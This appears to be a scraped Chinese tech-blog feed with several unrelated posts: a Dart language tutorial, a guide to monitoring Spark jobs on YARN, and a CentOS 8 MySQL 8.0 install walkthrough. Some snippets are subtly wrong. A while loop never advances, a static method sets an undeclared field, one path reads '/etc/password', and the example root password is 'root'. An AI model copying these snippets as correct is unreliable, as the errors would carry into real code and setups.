        Lists

        你可以把Dart中的List对应到 JavaScript 的数组或者 Java 中的ArrayList,但 Dart 的设计更为精巧。

        你可以通过类似 JavaScript 一样声明一个数组对象:

        var list = [];
        list.add('Hello');
        list.add(1);

        这里List容器接受的类型是dynamic,你可以往里面添加任何类型的对象,但如果像这样声明:

        var iList = [1,2,3];
        iList.add(4);//编译错误 The argument type 'String' can't be assigned to the parameter type 'int'//iList.add('Hello');

        那么Dart就会推导出这个List是个List<int>,从此这个List就只能接受int类型数据了,你也可以显式声明List的类型:

        var sList = List<String>();//在Flutter类库中,有许多这样的变量声明:List<Widget> children = const <Widget>[];

        上面右边那个 const 的意思表示常量数组,在这里你可以理解为一个给children赋值了一个编译期常量空数组,这样的做法可以很好的节省内存,下面的例子可以让大家更好的理解常量数组的概念:

        var constList = const <int>[1,2];
        constList[0] = 2; //编译通过, 运行错误constList.add(3); //编译通过, 运行错误

        Dart2.3 增加了扩展运算符 (spread operator) ... 和...?,通过下面的例子你很容易就明白它们的用法:

        var list = [1, 2, 3];var list2 = [0, ...list];assert(list2.length == 4);

        如果扩展对象可能是null,可以使用...?

         var list; var list2 = [0, ...?list]; assert(list2.length == 1);

        你可以直接在元素内进行判断,决定是否需要某个元素:

        var promoActive = true;var nav = [    'Home',    'Furniture',    'Plants',
            promoActive? 'About':'Outlet'];

        甚至使用for来动态添加多个元素:

        var listOfInts = [1, 2, 3];var listOfStrings = [  '#0',  for (var i in listOfInts) '#$i'];assert(listOfStrings[1] == '#1');

        这种动态的能力使得 Flutter 在构建 Widget 树的时候非常方便。

        Sets

        Set的语意和其他语言的是一样的,都是表示在容器中对象唯一。在Dart中,Set默认是LinkedHashSet实现,表示元素按添加先后顺序排序。

        声明Set对象:

        var halogens = {'fluorine', 'chlorine', 'bromine', 'iodine', 'astatine'};

        遍历Set,遍历除了上面提到的for...in,你还可以使用类似 Java 的 lambada 中的 forEach 形式:

        halogens.add('bromine');
        halogens.add('astatine');
        halogens.forEach((el) => print(el));

        输出结果:

        fluorine
        chlorine
        bromine
        iodine
        astatine

        除了容器的对象唯一特性之外,其他基本和List是差不多的。

        // 添加类型声明:var elements = <String>{};var promoActive = true;// 动态添加元素final navSet = {'Home', 'Furniture', promoActive? 'About':'Outlet'};

        Maps

        Map对象的声明方式保持了 JavaScript 的习惯,Dart 中Map的默认实现是LinkedHashMap,表示元素按添加先后顺序排序。

        var gifts = {  // Key:    Value
          'first': 'partridge',  'second': 'turtledoves',  'fifth': 'golden rings'};assert(gifts['first'] == 'partridge');

        添加一个键值对:

        gifts['fourth'] = 'calling birds';

        遍历Map

        gifts.forEach((key,value) => print('key: $key, value: $value'));

        函数

        在 Dart 中,函数本身也是个对象,它对应的类型是 Function,这意味着函数可以当做变量的值或者作为一个方法入传参数值。

        void sayHello(var name){  print('hello, $name');
        }void callHello(Function func, var name){
          func(name);
        }void main(){  // 函数变量
          var helloFuc = sayHello;  // 调用函数
          helloFuc('Girl');  // 函数参数
          callHello(helloFuc,'Boy');
        }

        输出:

        hello, Girlhello, Boy

        对于只有一个表达式的简单函数,你还可以通过=> 让函数变得更加简洁,=> expr在这里相当于{ return expr; } ,我们来看一下下面的语句:

        String hello(var name ) => 'hello, $name';

        相当于:

        String hello(var name ){  return 'hello, $name';
        }

        参数

        在Flutter UI库里面,命名参数随处可见,下面是一个使用了命名参数(Named parameters)的例子:

        void enableFlags({bool bold, bool hidden}) {...}

        调用这个函数:

        enableFlags(bold: false);
        enableFlags(hidden: false);
        enableFlags(bold: true, hidden: false);

        命名参数默认是可选的,如果你需要表达该参数必传,可以使用@required

        void enableFlags({bool bold, @required bool hidden}) {}

        当然,Dart 对于一般的函数形式也是支持的:

        void enableFlags(bool bold, bool hidden) {}

        和命名参数不一样,这种形式的函数的参数默认是都是要传的:

        enableFlags(false, true);

        你可以使用[]来增加非必填参数:

        void enableFlags(bool bold, bool hidden, [bool option]) {}

        另外,Dart 的函数还支持设置参数默认值:

        void enableFlags({bool bold = false, bool hidden = false}) {...}String say(String from, [String device = 'carrier pigeon', String mood]) {}

        匿名函数

        顾名思意,匿名函数的意思就是指没有定义函数名的函数。你应该对此不陌生了,我们在遍历ListMap的时候已经使用过了,通过匿名函数可以进一步精简代码:

        var list = ['apples', 'bananas', 'oranges'];
        list.forEach((item) {  print('${list.indexOf(item)}: $item');
        });

        闭包

        Dart支持闭包。没有接触过JavaScript的同学可能对闭包(closure)比较陌生,这里给大家简单解释一下闭包。

        闭包的定义比较拗口,我们不去纠结它的具体定义,而是打算通过一个具体的例子去理解它:

        Function closureFunc() {  var name = "Flutter"; // name 是一个被 init 创建的局部变量
          void displayName() { // displayName() 是内部函数,一个闭包
            print(name); // 使用了父函数中声明的变量
          }  return displayName;
        }void main(){  //myFunc是一个displayName函数
          var myFunc = closureFunc(); //(1)
          
          // 执行displayName函数
          myFunc(); // (2)}

        结果如我们所料的那样打印了Flutter

        在(1)执行完之后,name作为一个函数的局部变量,引用的对象不是应该被回收掉了吗?但是当我们在内函数调用外部的name时,它依然可以神奇地被调用,这是为什么呢?

        这是因为Dart在运行内部函数时会形成闭包,闭包是由函数以及创建该函数的词法环境组合而成,这个环境包含了这个闭包创建时所能访问的所有局部变量 。

        我们简单变一下代码:

        Function closureFunc() {  var name = "Flutter"; // name 是一个被 init 创建的局部变量
          void displayName() { // displayName() 是内部函数,一个闭包
            print(name); // 使用了父函数中声明的变量
          }
          name = 'Dart'; //重新赋值
          return displayName;
        }

        结果输出是Dart,可以看到内部函数访问外部函数的变量时,是在同一个词法环境中的。

        返回值

        在Dart中,所有的函数都必须有返回值,如果没有的话,那将自动返回null

        foo() {}assert(foo() == null);

        流程控制

        这部分和大部分语言都一样,在这里简单过一下就行。

        if-else

        if(hasHause && hasCar){
            marry();
        }else if(isHandsome){
            date();
        }else{
            pass();
        }

        循环

        各种for:

        var list = [1,2,3];for(var i = 0; i != list.length; i++){}for(var i in list){}

        while和循环中断(中断也是在for中适用的):

          var i = 0;  while(i != list.length){    if(i % 2 == 0){       continue;
            }     print(list[i]);
          }
        
          i = 0;  do{    print(list[i]);    if(i == 5){      break;
            }
          }while(i != list.length);

        如果对象是Iterable类型,你还可以像Java的 lambada 表达式一样:

        list.forEach((i) => print(i));
          
        list.where((i) =>i % 2 == 0).forEach((i) => print(i));

        switch

        switch可以用于intdoubleString 和enum等类型,switch 只能在同类型对象中进行比较,进行比较的类不要覆盖==运算符。

        var color = '';  switch(color){    case "RED":      break;    case "BLUE":      break;    default:
              
          }

        assert

        在Dart中,assert语句经常用来检查参数,它的完整表示是:assert(condition, optionalMessage),如果conditionfalse,那么将会抛出 [AssertionError]异常,停止执行程序。

        assert(text != null);assert(urlString.startsWith('https'), 'URL ($urlString) should start with "https".');

        assert 通常只用于开发阶段,它在产品运行环境中通常会被忽略。在下面的场景中会打开assert

        1. Flutter 的 debug mode

        2. 一些开发工具比如dartdevc默认会开启。

        3. 一些工具,像dart 和dart2js ,可以通过参数 --enable-asserts 开启。

        异常处理

        Dart 的异常处理和Java很像,但是Dart中所有的异常都是非检查型异常(unchecked exception),也就是说,你不必像 Java 一样,被强制需要处理异常。

        Dart 提供了Exception 和 Error 两种类型的异常。 一般情况下,你不应该对Error类型错误进行捕获处理,而是尽量避免出现这类错误。

        比如OutOfMemoryErrorStackOverflowErrorNoSuchMethodError等都属于Error类型错误。

        前面提到,因为 Dart 不像 Java 那样可以声明编译期异常,这种做法可以让代码变得更简洁,但是容易忽略掉异常的处理,所以我们在编码的时候,在可能会有异常的地方要注意阅读API文档,另外自己写的方法,如果有异常抛出,要在注释处进行声明。比如类库中的File类其中一个方法注释:

          /**   * Synchronously read the entire file contents as a list of bytes.   *   * Throws a [FileSystemException] if the operation fails.
           */
          Uint8List readAsBytesSync();

        抛出异常

        throw FormatException('Expected at least 1 section');

        throw除了可以抛出异常对象,它还可以抛出任意类型对象,但建议还是使用标准的异常类作为最佳实践。

        throw 'Out of llamas!';

        捕获异常

        可以通过on 关键词来指定异常类型:

         var file = File("1.txt");  try{
            file.readAsStringSync();
          } on FileSystemException {     //do something
          }

        使用catch关键词获取异常对象,catch有两个参数,第一个是异常对象,第二个是错误堆栈。

        try{
            file.readAsStringSync();
        } on FileSystemException catch (e){    print('exception: $e');
        } catch(e, s){ //其余类型
           print('Exception details:\n $e');   print('Stack trace:\n $s');
        }

        使用rethrow 抛给上一级处理:

         try{
            file.readAsStringSync();
          } on FileSystemException catch (e){    print('exception: $e');
          } catch(e){     rethrow;
          }

        finally

        finally一般用于释放资源等一些操作,它表示最后一定会执行的意思,即便try...catch 中有return,它里面的代码也会承诺执行。

        try{     print('hello');     return;
          } catch(e){     rethrow;
          } finally{     print('finally');
        }

        输出:

        hellofinally

        Dart 是一门面向对象的编程语言,所有对象都是某个类的实例,所有类继承了Object类。

        一个简单的类:

        class Point {  num x, y;  // 构造器
          Point(this.x, this.y);  
          // 实例方法
          num distanceTo(Point other) {    var dx = x - other.x;    var dy = y - other.y;    return sqrt(dx * dx + dy * dy);
          }
        }

        类成员

        Dart 通过. 来调用类成员变量和方法的。

        //创建对象,new 关键字可以省略var p = Point(2, 2);// Set the value of the instance variable y.p.y = 3;// Get the value of y.assert(p.y == 3);// Invoke distanceTo() on p.num distance = p.distanceTo(Point(4, 4));

        你还可以通过.?来避免null对象。在Java 里面,经常需要大量的空判断来避免NullPonterException,这是让人诟病Java的其中一个地方。而在Dart中,可以很方便地避免这个问题:

        // If p is non-null, set its y value to 4.p?.y = 4;

        在 Dart 中,没有privateprotectedpublic这些关键词,如果要声明一个变量是私有的,则在变量名前添加下划线_,声明了私有的变量,只在本类库中可见。

        class Point{  num _x;  num _y;
        }

        构造器(Constructor)

        如果没有声明构造器,Dart 会给类生成一个默认的无参构造器,声明一个带参数的构造器,你可以像 Java这样:

        class Person{  String name;  int sex;
          
          Person(String name, int sex){    this.name = name;    this.sex = sex;
          }
        }

        也可以使用简化版:

        Person(this.name, this.sex);

        或者命名式构造器:

        Person.badGirl(){    this.name = 'Bad Girl';    this.sex = 1;
        }

        你还可以通过factory关键词来创建实例:

        Person.goodGirl(){    this.name = 'good Girl';    this.sex = 1;
        }factory Person(int type){    return type == 1 ? Person.badGirl(): Person.goodGirl();
        }

        factory对应到设计模式中工厂模式的语言级实现,在 Flutter 的类库中有大量的应用,比如Map

        // 部分代码abstract class Map<K, V> {  
            factory Map.from(Map other) = LinkedHashMap<K, V>.from;
        }

        如果一个对象的创建过程比较复杂,比如需要选择不同的子类实现或则需要缓存实例等,你就可以考虑通过这种方法。在上面Map例子中,通过声明 factory来选择了创建子类LinkedHashMapLinkedHashMap.from也是一个factory,里面是具体的创建过程)。

        如果你想在对象创建之前的时候还想做点什么,比如参数校验,你可以通过下面的方法:

         Person(this.name, this.sex): assert(sex == 1)

        在构造器后面添加的一些简单操作叫做initializer list

        在Dart中,初始化的顺序如下:

        1. 执行initializer list;

        2. 执行父类的构造器;

        3. 执行子类的构造器。

        class Person{  String name;  int sex;
        
          Person(this.sex): name = 'a', assert(sex == 1){    this.name = 'b';    print('Person');
          }
        
        }class Man extends Person{
           Man(): super(1){     this.name = 'c';     print('Man');
           }
        }void main(){
          Person person = Man();  print('name : ${person.name}');
        }

        上面的代码输出为:

        PersonManname : c

        如果子类构造器没有显式调用父类构造器,那么默认会调用父类的默认无参构造器。显式调用父类的构造器:

        Man(height): this.height = height, super(1);

        重定向构造器:

        Man(this.height, this.age): assert(height > 0), assert(age > 0);
        
        Man.old(): this(12, 60); //调用上面的构造器

        Getter 和 Setter

        在 Dart 中,对 Getter 和 Setter 方法有专门的优化。即便没有声明,每个类变量也会默认有一个get方法,在隐含接口章节会有体现。

        class Rectangle {  num left, top, width, height;
        
          Rectangle(this.left, this.top, this.width, this.height);  num get right => left + width;  set right(num value) => left = value - width;  num get bottom => top + height;  set bottom(num value) => top = value - height;
        }void main() {  var rect = Rectangle(3, 4, 20, 15);  assert(rect.left == 3);
          rect.right = 12;  assert(rect.left == -8);
        }

        抽象类

        Dart 的抽象类和Java差不多,除了不可以实例化,可以声明抽象方法之外,和一般类没有区别。

        abstract class AbstractContainer {  num _width;  void updateChildren(); // 抽象方法,强制继承子类实现该方法。
        
          get width => this._width;  
          int sqrt(){    return _width * _width;
          }
        }

        隐含接口

        Dart 中的每个类都隐含了定义了一个接口,这个接口包含了这个类的所有成员变量和方法,你可以通过implements关键词来重新实现相关的接口方法:

        class Person {  //隐含了 get 方法
          final _name;
        
          Person(this._name);  String greet(String who) => 'Hello, $who. I am $_name.';
        }class Impostor implements Person {  // 需要重新实现
          get _name => '';  // 需要重新实现
          String greet(String who) => 'Hi $who. Do you know who I am?';
        }

        实现多个接口:

        class Point implements Comparable, Location {...}

        继承

        和Java基本一致,继承使用extends关键词:

        class Television {  void turnOn() {
            doSomthing();
          }
        }class SmartTelevision extends Television {  @override
          void turnOn() {    super.turnOn(); //调用父类方法
            doMore();
          }
        }

        重载操作符

        比较特别的是,Dart 还允许重载操作符,比如List类支持的下标访问元素,就定义了相关的接口:

         E operator [](int index);

        我们通过下面的实例来进一步说明重载操作符:

        class MyList{  var list = [1,2,3];  operator [](int index){    return list[index];
          }
        }void main() {  var list = MyList();  print(list[1]); //输出 2}

        扩展方法

        这个特性也是Dart让人眼前一亮的地方(Dart2.7之后才支持),可以对标到 JavaScript 中的 prototype。通过这个特性,你甚至可以给类库添加新的方法:

        //通过关键词 extension 给 String 类添加新方法extension NumberParsing on String {  int parseInt() {    return int.parse(this);
          }
        }

        后面String对象就可以调用该方法了:

        print('42'.parseInt());

        枚举类型

        枚举类型和保持和Java的关键词一致:

        enum Color { red, green, blue }

        switch中使用:

        // color 是 enmu Color 类型switch(color){    case Color.red:      break;    case Color.blue:      break;    case Color.green:      break;    default:      break;
        }

        枚举类型还有一个index的getter,它是个连续的数字序列,从0开始:

        assert(Color.red.index == 0);assert(Color.green.index == 1);assert(Color.blue.index == 2);

        新特性:Mixins

        这个特性进一步增强了代码复用的能力,如果你有写过Android的布局XML代码或者Freemaker模板的话,那这个特性就可以理解为其中inlclude 的功能。

        声明一个mixin类:

        mixin Musical {  bool canPlayPiano = false;  bool canCompose = false;  bool canConduct = false;  void entertainMe() {    if (canPlayPiano) {      print('Playing piano');
            } else if (canConduct) {      print('Waving hands');
            } else {      print('Humming to self');
            }
          }
        }

        通过with关键词进行复用:

        class Musician extends Performer with Musical {  // ···}class Maestro extends Person
            with Musical, Aggressive, Demented {
          Maestro(String maestroName) {
            name = maestroName;
            canConduct = true;
          }
        }

        mixin类甚至可以通过on关键词实现继承的功能:

        mixin MusicalPerformer on Musician {  // ···}

        类变量和类方法

        class Queue {  //类变量
          static int maxLength = 1000;  // 类常量
          static const initialCapacity = 16;  // 类方法
          static void modifyMax(int max){
            _maxLength = max;
          }
        }void main() {  print(Queue.initialCapacity);
          Queue.modifyMax(2);  print(Queue._maxLength);
        }

        泛型

        在面向对象的语言中,泛型主要的作用有两点:

        1、类型安全检查,把错误扼杀在编译期:

        var names = List<String>();
        names.addAll(['Seth', 'Kathy', 'Lars']);//编译错误names.add(42);

        2、增强代码复用,比如下面的代码:

        abstract class ObjectCache {  Object getByKey(String key);  void setByKey(String key, Object value);
        }abstract class StringCache {  String getByKey(String key);  void setByKey(String key, String value);
        }

        你可以通过泛型把它们合并成一个类:

        abstract class Cache<T> {
          T getByKey(String key);  void setByKey(String key, T value);
        }

        在Java中,泛型是通过类型擦除来实现的,但在Dart中实打实的泛型:

         var names = <String>[];
         names.addAll(['Tom',"Cat"]); // is 可以用于类型判断
         print(names is List<String>); // true
         print(names is List); // true
         print(names is List<int>); //false

        你可以通过extends关键词来限制泛型类型,这点和Java一样:

        abstract class Animal{}class Cat extends Animal{}class Ext<T extends Animal>{
          T data;
        }void main() {  var e = Ext(); // ok
          var e1 = Ext<Animal>(); // ok
          var e2 = Ext<Cat>(); // ok
          var e3 = Ext<int>(); // compile error}

        使用类库

        有生命力的编程语言,它背后都有一个强大的类库,它们可以让我们站在巨人的肩膀上,又免于重新造轮子。

        导入类库

        在Dart里面,通过import关键词来导入类库。

        内置的类库使用dart:开头引入:

        import 'dart:io';

        了解更多内置的类库可以查看这里。

        第三方类库或者本地的dart文件用package:开头:

        比如导入用于网络请求的dio库:

        import 'package:dio/dio.dart';

        Dart 应用本身就是一个库,比如我的应用名是ccsys,导入其他文件夹的类:

        import 'package:ccsys/common/net_utils.dart';import 'package:ccsys/model/user.dart';

        如果你使用IDE来开发,一般这个事情不用你来操心,它会自动帮你导入的。

        Dart 通过pub.dev来管理类库,类似Java世界的Maven 或者Node.js的npm一样,你可以在里面找到非常多实用的库。

        解决类名冲突

        如果导入的类库有类名冲突,可以通过as使用别名来避免这个问题:

        import 'package:lib1/lib1.dart';import 'package:lib2/lib2.dart' as lib2;// 使用来自 lib1 的 ElementElement element1 = Element();// 使用来自 lib2 的 Elementlib2.Element element2 = lib2.Element();

        导入部分类

        在一个dart文件中,可能会存在很多个类,如果你只想引用其中几个,你可以增加show或者hide来处理:

        //文件:my_lib.dartclass One {}class Two{}class Three{}

        使用show导入OneTwo类:

        //文件:test.dartimport 'my_lib.dart' show One, Two;void main() {  var one = One();  var two = Two();  //compile error
          var three = Three();
        }

        也可以使用hide排除Three,和上面是等价的:

        //文件:test.dartimport 'my_lib.dart' hide Three;void main() {  var one = One();  var two = Two();
        }

        延迟加载库

        目前只有在web app(dart2js)中才支持延迟加载,Flutter、Dart VM是不支持的,我们这里仅做一下简单介绍。

        你需要通过deferred as来声明延迟加载该类库:

        import 'package:greetings/hello.dart' deferred as hello;

        当你需要使用的时候,通过loadLibrary()加载:

        Future greet() async {  await hello.loadLibrary();
          hello.printGreeting();
        }

        你可以多次调用loadLibrary,它不会被重复加载。

        异步支持

        这个话题稍微复杂,我们将用另外一篇文章独立讨论这个问题,请留意下一篇内容。

        参考资料

        1. 学习Dart的十大理由

        2. A tour of the Dart language

        3. Dart 常量构造器的理解

        4. JavaScript 闭包

        关于AgileStudio

        我们是一支由资深独立开发者和设计师组成的团队,成员均有扎实的技术实力和多年的产品设计开发经验,提供可信赖的软件定制服务。

        自然语言处理 Dart JavaScript 前端开发 Java 编译器 应用服务中间件 开发工具 Maven 容器


        ]]>
        spark过节监控告警系统实现 Fri, 02 May 2025 09:39:04 +0800 马上要过年了,大部分公司这个时候都不会再去谋求开新业务,而大数据工匠们,想要过好年,就要保证过年期间自己对自己的应用了如执掌。一般公司都会有轮值人员,至少要有春节应急预案,尤其是对于我们这些搞平台,或者线上应用的,应急预案更是必不可少。今天浪尖主要是分享一下关于在yarn上的spark 任务我们应该做哪些监控,如何监控。

        Spark on yarn这种应用形态目前在企业中是最为常见的,对于这种spark的任务,浪尖觉得大家关心的指标大致有:app存活,spark streaming的job堆积情况,job运行状态及进度,stage运行进度,rdd缓存监控,内存监控等。

        其实,春节最为重要的就是app存活了,春节期间各大应用应该都会有一部分数据增量,那么实际上就需要我们的程序能有一定的抗流量尖峰的能力,这个也很常见,因为正常的app都会有流量尖峰和低谷,你做一个实时应用程序,必须要去应对流量尖峰,也就是说你程序的处理能力正常要大于流量尖峰的,要是你的数据流量有历史信息,那么就简单了,只需要将spark streaming和flink的处理能力盖过流量最高值即可。当然,会有人说spark streaming 和flink不是有背压系统吗,短暂的流量尖峰可以抗住的呀,当然太短暂的几分钟的流量尖峰,而且你的任务对实时性要求不高,那是可以,否则不行。

        1. App存活监控

        企业中,很多时候spark的任务都是运行与yarn上的,这个时候可以通过yarn的客户端获取rm上运行 任务的状态。

        Configuration conf = new YarnConfiguration();
        YarnClient yarnClient = YarnClient.createYarnClient();
        yarnClient.init(conf);
        yarnClient.start();try{
           List<ApplicationReport> applications = yarnClient.getApplications(EnumSet.of(YarnApplicationState.RUNNING, YarnApplicationState.FINISHED));   System.out.println("ApplicationId ============> "+applications.get(0).getApplicationId());   System.out.println("name ============> "+applications.get(0).getName());   System.out.println("queue ============> "+applications.get(0).getQueue());   System.out.println("queue ============> "+applications.get(0).getUser());
        } catch(YarnException e) {
           e.printStackTrace();
        } catch(IOException e) {
           e.printStackTrace();
        }
               yarnClient.stop();

        这种api只适合,spark 和 MapReduce这两类应用,不适合flink。做过flink的应该都很容易理解吧,yarn上运行的flink任务显示,running,但是flink app内部的job却已经挂掉了,这种yarn的flink任务存活不适合,只能用RestClusterClient,具体浪尖在这里就不举例子了,本文主要是讲监控spark应用体系,后续会给出demo测试。

        写个yarn的监控

        对于这个APP的监控,还有更加细节的监控,比如executor数,内存,CPU等。获取指标的方法:

        1.1 ApplicationInfo

        通过SparkContext对象的AppStatusStore对象获取ApplicationInfo

        val statusStore = sparkContext.statusStore
        statusStore.applicationinfo()

        获取一个ApplicationInfo对象,然后主要包含以下schema

        case class ApplicationInfo private[spark](    id: String,    name: String,    coresGranted: Option[Int],    maxCores: Option[Int],    coresPerExecutor: Option[Int],    memoryPerExecutorMB: Option[Int],    attempts: Seq[ApplicationAttemptInfo])

        1.2 AppSummary

        通过SparkContext对象的AppStatusStore对象 获取AppSummary

        val statusStore = sparkContext.statusStore
        statusStore.appSummary()statusStore.appSummary().numCompletedJobs
        statusStore.appSummary().numCompletedStages

        2.Job监控

        主要包括job的运行状态信息,spark streaming的job堆积情况。这个浪尖知识星球里面也分享过主要是自己实现一个StreamingListener,然后通过StreamingContext的实例对象注册到SparkListenerbus即可。

        浪尖这里只会举一个就是spark streaming 数据量过大,导致batch不能及时处理而使得batch堆积,实际上就是active batch -1,针对这个给大家做个简单的案例,以供大家参考。

        image.png

        val waitingBatchUIData = new HashMap[Time, BatchUIData]
        ssc.addStreamingListener(new StreamingListener {  override def onStreamingStarted(streamingStarted: StreamingListenerStreamingStarted): Unit = println("started")  override def onReceiverStarted(receiverStarted: StreamingListenerReceiverStarted): Unit = super.onReceiverStarted(receiverStarted)  override def onReceiverError(receiverError: StreamingListenerReceiverError): Unit = super.onReceiverError(receiverError)  override def onReceiverStopped(receiverStopped: StreamingListenerReceiverStopped): Unit = super.onReceiverStopped(receiverStopped)  override def onBatchSubmitted(batchSubmitted: StreamingListenerBatchSubmitted): Unit = {
            synchronized {
              waitingBatchUIData(batchSubmitted.batchInfo.batchTime) =        BatchUIData(batchSubmitted.batchInfo)
            }
          }  override def onBatchStarted(batchStarted: StreamingListenerBatchStarted): Unit =     waitingBatchUIData.remove(batchStarted.batchInfo.batchTime)  
          override def onBatchCompleted(batchCompleted: StreamingListenerBatchCompleted): Unit = super.onBatchCompleted(batchCompleted)  override def onOutputOperationStarted(outputOperationStarted: StreamingListenerOutputOperationStarted): Unit = super.onOutputOperationStarted(outputOperationStarted)  override def onOutputOperationCompleted(outputOperationCompleted: StreamingListenerOutputOperationCompleted): Unit = super.onOutputOperationCompleted(outputOperationCompleted)
        })

        最终,我们使用waitingBatchUIData的大小,代表待处理的batch大小,比如待处理批次大于10,就告警,这个可以按照任务的重要程度和持续时间来设置一定的告警规则,避免误操作。

        3. Stage监控

        Stage的运行时间监控,这个重要度比较低。使用的主要API是statusStore.activeStages()得到的是一个Seq[v1.StageData] ,StageData可以包含的信息有:

        class StageData private[spark](    val status: StageStatus,    val stageId: Int,    val attemptId: Int,    val numTasks: Int,    val numActiveTasks: Int,    val numCompleteTasks: Int,    val numFailedTasks: Int,    val numKilledTasks: Int,    val numCompletedIndices: Int,    val executorRunTime: Long,    val executorCpuTime: Long,    val submissionTime: Option[Date],    val firstTaskLaunchedTime: Option[Date],    val completionTime: Option[Date],    val failureReason: Option[String],    val inputBytes: Long,    val inputRecords: Long,    val outputBytes: Long,    val outputRecords: Long,    val shuffleReadBytes: Long,    val shuffleReadRecords: Long,    val shuffleWriteBytes: Long,    val shuffleWriteRecords: Long,    val memoryBytesSpilled: Long,    val diskBytesSpilled: Long,    val name: String,    val description: Option[String],    val details: String,    val schedulingPool: String,    val rddIds: Seq[Int],    val accumulatorUpdates: Seq[AccumulableInfo],    val tasks: Option[Map[Long, TaskData]],    val executorSummary: Option[Map[String, ExecutorStageSummary]],    val killedTasksSummary: Map[String, Int])

        具体细节大家也可以详细测试哦。

        4. RDD监控

        这个其实大部分时间我们也是不关心的,主要是可以获取rdd相关的指标信息:

        通过SparkContext对象的AppStatusStore

        val statusStore = sparkContext.statusStore
        statusStore.rddList()

        可以获取一个Seq[v1.RDDStorageInfo]对象,可以获取的指标有:

        class RDDStorageInfo private[spark](    val id: Int,    val name: String,    val numPartitions: Int,    val numCachedPartitions: Int,    val storageLevel: String,    val memoryUsed: Long,    val diskUsed: Long,    val dataDistribution: Option[Seq[RDDDataDistribution]],    val partitions: Option[Seq[RDDPartitionInfo]])class RDDDataDistribution private[spark](    val address: String,    val memoryUsed: Long,    val memoryRemaining: Long,    val diskUsed: Long,    @JsonDeserialize(contentAs = classOf[JLong])    val onHeapMemoryUsed: Option[Long],
            @JsonDeserialize(contentAs = classOf[JLong])    val offHeapMemoryUsed: Option[Long],
            @JsonDeserialize(contentAs = classOf[JLong])    val onHeapMemoryRemaining: Option[Long],
            @JsonDeserialize(contentAs = classOf[JLong])    val offHeapMemoryRemaining: Option[Long])class RDDPartitionInfo private[spark](    val blockName: String,    val storageLevel: String,    val memoryUsed: Long,    val diskUsed: Long,    val executors: Seq[String])

        其中,还有一些api大家自己也可以看看。

        5. Rdd内存及缓存监控

        主要是监控executor的内存使用情况,然后对一些高内存的任务能及时发现,然后积极排查问题。这个问题监控也比较奇葩,主要是监控RDD的内存和磁盘占用即可。对于缓存的rdd获取,只需要statusStore.rddList()获取的时候给定boolean参数true即可。获取之后依然是一个RDD列表,可以参考4,去进行一些计算展示。

        6.Executor监控

        关于内存的监控,除了存活监控之外,还有单个executor内存细节。Executor的注册,启动,挂掉都可以通过SparkListener来获取到,而单个executor内部的细节获取也还是通过SparkContext的一个内部变量,叫做SparkStatusTracker。

        sc.statusTracker.getExecutorInfos

        得到的是一个Array[SparkExecutorInfo],然后通过SparkExecutorInfo就可以获取细节信息:

        private class SparkExecutorInfoImpl(    val host: String,    val port: Int,    val cacheSize: Long,    val numRunningTasks: Int,    val usedOnHeapStorageMemory: Long,    val usedOffHeapStorageMemory: Long,    val totalOnHeapStorageMemory: Long,    val totalOffHeapStorageMemory: Long)  extends SparkExecutorInfo

        7.总结

        浪尖常用的监控就是一app存活监控,二就是定义sparklistener,实现检测sparkstreaming 队列积压了。

        总有粉丝问浪尖,如何发现这些细节的,当然是看源码的api,分析源码得到的,框架细节只能如此获得。


        ]]>
        CentOS8 安装 MySQL8.0 Fri, 02 May 2025 09:39:04 +0800

        环境:Linux centos8 4.18.0-80.el8.x86_64、Mysql8.0.18

        1、Mysql官网下载RPM包

        Centos8安装Mysql8.0(RPM)

        Centos8安装Mysql8.0(RPM)

        2、检查是否安装过

        rpm -qa | grep -i mysql

        3、卸载之前的安装

        rpm -e --nodeps 软件名 //强力删除,对相关依赖的文件也进行强力删除

        4、安装客户端(mysql-client)

        rpm -ivh rpm包
        * 安装mysql-community-common-8.0.18* 安装mysql-community-libs-8.0.18* 安装mysql-community-client-8.0.18(前两个是其依赖)

        Centos8安装Mysql8.0(RPM)

        Centos8安装Mysql8.0(RPM)

        Centos8安装Mysql8.0(RPM)

        5、安装服务端(mysql-server)

        Centos8安装Mysql8.0(RPM)

        Centos8安装Mysql8.0(RPM)

        6、查看是否安装成功

        有以下方式查看:
        * ps -ef | grep mysql
        * cat /etc/group | grep mysql
        * cat /etc/password | grep mysql
        * mysqladmin --version...

        Centos8安装Mysql8.0(RPM)

        Centos8安装Mysql8.0(RPM)

        Centos8安装Mysql8.0(RPM)

        7、初始化mysql

        mysqld --initialize //创建数据文件目录和mysql系统数据库 产生随机root密码

        8、启动mysql服务

        systemctl start mysqld

        Centos8安装Mysql8.0(RPM)

        启动失败,因为/var/lib/mysql目录权限不够

        Centos8安装Mysql8.0(RPM)

        9、/var/lib/mysql目录权限授权

        chown -R mysql:mysql /var/lib/mysql/

        Centos8安装Mysql8.0(RPM)

        10、启动mysql服务

        systemctl start mysqld //启动ps -ef | grep mysql //查看mysql服务

        Centos8安装Mysql8.0(RPM)

        11、查看初始化随机生成的root密码

        cat /var/log/mysqld.log | grep password

        Centos8安装Mysql8.0(RPM)

        12、安全设置

        mysql_secure_installation

        Centos8安装Mysql8.0(RPM)

        Centos8安装Mysql8.0(RPM)

        13、mysql登录

        mysql -uroot -p //随机密码登录

        Centos8安装Mysql8.0(RPM)

        14、重置密码(Mysql8.0+有变化)

        先把root的旧密码置空
        use mysql;
        update user set authentication_string='' where user='root';
        备注:Mysql5.7+ password字段 已改成 authentication_string字段

        MySQL8.0 忘记 root 密码下如何修改密码

        重置成新密码
        alter user 'root'@'localhost' identified by 'newpassword';
        备注:Mysql8.0修改密码方式已有变化(此处是个坑,需要注意)
        Mysql8.0之前:
        update user set password=password('root') where user='root';

        MySQL8.0 忘记 root 密码下如何修改密码

        15、退出后使用新密码再登录mysql

        mysql -uroot -proot

        MySQL8.0 忘记 root 密码下如何修改密码

        16、如何停止、重启和查看mysql服务

        systemctl stop mysqld //停止服务systemctl restart mysqld //重启服务systemctl status mysqld //查看服务

        17、mysql的相关安装目录文件

        /usr/bin //相关命令

        Centos8安装Mysql8.0(RPM)

        /usr/share/mysql //配置文件目录

        Centos8安装Mysql8.0(RPM)

        /var/lib/mysql //数据库文件存放目录

        Centos8安装Mysql8.0(RPM)

        /etc/my.cnf //mysql的启动配置文件

        Centos8安装Mysql8.0(RPM)

        18、后记

        my.ini //windows操作系统下的配置文件my.cnf //linux操作系统下的配置文件mysqld //是后台守护进程,即mysql daemonmysql //是客户端命令行


        ]]>
        阿里云新年优惠,新年下单每两千元返50元天猫购物卡 Fri, 02 May 2025 09:39:04 +0800 这是爱与真诚的感恩----

